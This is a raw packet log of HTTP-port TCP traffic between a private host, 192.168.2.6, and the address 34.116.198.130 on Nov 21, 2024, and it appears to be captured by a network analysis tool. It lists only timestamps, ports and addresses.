Nov 21, 2024 14:11:29.378784895 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.378798008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.379403114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.379506111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.379590988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.380213976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.380285978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.380322933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.380985022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.381045103 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.381169081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.381805897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.381854057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.381896019 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.382595062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.382673979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.382718086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.383399010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.383456945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.383518934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.384207964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.384258032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.384273052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.384972095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.385091066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.385101080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.385791063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.385869026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.385910988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.386607885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.386687040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.386696100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.387461901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.387516022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.387537956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.388168097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.388235092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.388295889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.389029026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.389254093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.389324903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.389764071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.389878035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.389908075 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.390572071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.390645981 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.390675068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.391377926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.391422033 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.391489983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.392167091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.392241001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.392462969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.392600060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.392648935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.393301010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.393455029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.393551111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.394072056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.394200087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.394253969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.394850016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.445621014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.544595957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.544774055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.544833899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.544981003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.545130968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.545176983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.545773029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.545893908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.545998096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.546555042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.548574924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.548666000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.548687935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.548950911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.548995972 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.549088001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.549870014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.549905062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.549946070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.550539017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.550657988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.550664902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.551353931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.551481009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.551481962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.552131891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.552196026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.552233934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.552963972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.553049088 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.553066015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.553777933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.553843975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.553885937 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.554605007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.554724932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.554747105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.555489063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.555548906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.555572033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.556178093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.556284904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.556298018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.556974888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.557038069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.557099104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.557742119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.557832956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.557838917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.558562040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.558633089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.558653116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.559351921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.559417009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.559431076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.560179949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.560235023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.560272932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.560930967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.560997009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.561109066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.561839104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.561907053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.561922073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.562527895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.562597036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.562645912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.563379049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.563481092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.563488007 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.564121962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.564218044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.564245939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.564941883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.565021992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.565032005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.565707922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.565818071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.565886974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.566536903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.566652060 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.566689968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.567286968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.567351103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.567414045 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.568073988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.568145037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.568188906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.569027901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.569120884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.569132090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.569711924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.569787979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.569820881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.570506096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.570581913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.570585966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.571288109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.571342945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.571396112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.572084904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.572200060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.572249889 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.572906971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.572968960 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.572995901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.573663950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.573750019 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.573791027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.574471951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.574527979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.574594975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.575278044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.575339079 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.575413942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.576088905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.576134920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.576173067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.576908112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.576967955 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.577013016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.577660084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.577763081 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.577773094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.578438997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.578548908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.578593969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.579343081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.579391956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.579416990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.580039978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.580121994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.580183029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.580849886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.580904961 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.580960989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.581675053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.581798077 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.581830978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.582608938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.582721949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.582722902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.583389044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.583432913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.583482981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.584059000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.584131956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.584175110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.584816933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.584935904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.585264921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.585318089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.585383892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.585942030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.586035013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.586350918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.586760998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.586885929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.586954117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.587749958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.633210897 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.736717939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.736829042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.736902952 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.737202883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.737330914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.737400055 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.737754107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.737884045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.738089085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.738500118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.738651037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.738711119 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.740864992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.741022110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.741152048 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.741184950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.741255999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.741331100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.741956949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.741992950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.742079973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.742739916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.742808104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.742847919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.743623972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.743737936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.743843079 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.744282961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.744406939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.744527102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.745090961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.745212078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.745323896 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.745955944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.746047020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.746126890 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.746690989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.746840000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.746885061 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.747529030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.747627020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.747692108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.748342037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.748570919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.748646021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.749097109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.749152899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.749196053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.749908924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.750029087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.750129938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.750771046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.750888109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.751014948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.751477957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.751641035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.751718998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.752281904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.752393007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.752449989 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.753087997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.753207922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.753273010 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.753885031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.753968954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.754024029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.754686117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.755033016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.755189896 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.755475044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.755579948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.755634069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.756263018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.756469965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.756531000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.757066965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.757122040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.757467985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.757848024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.757965088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.758074999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.758636951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.758714914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.758869886 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.759448051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.759599924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.759831905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.760243893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.760373116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.760416031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.761040926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.761297941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.761394024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.761841059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.761972904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.762074947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.762676001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.762712955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.763015985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.763454914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.763556004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.763631105 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.764233112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.764353991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.764483929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.765101910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.765177965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.765219927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.765835047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.765949011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.766014099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.766619921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.766738892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.766797066 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.767430067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.767554998 CET	80	49903	34.116.198.130	192.168.2.6
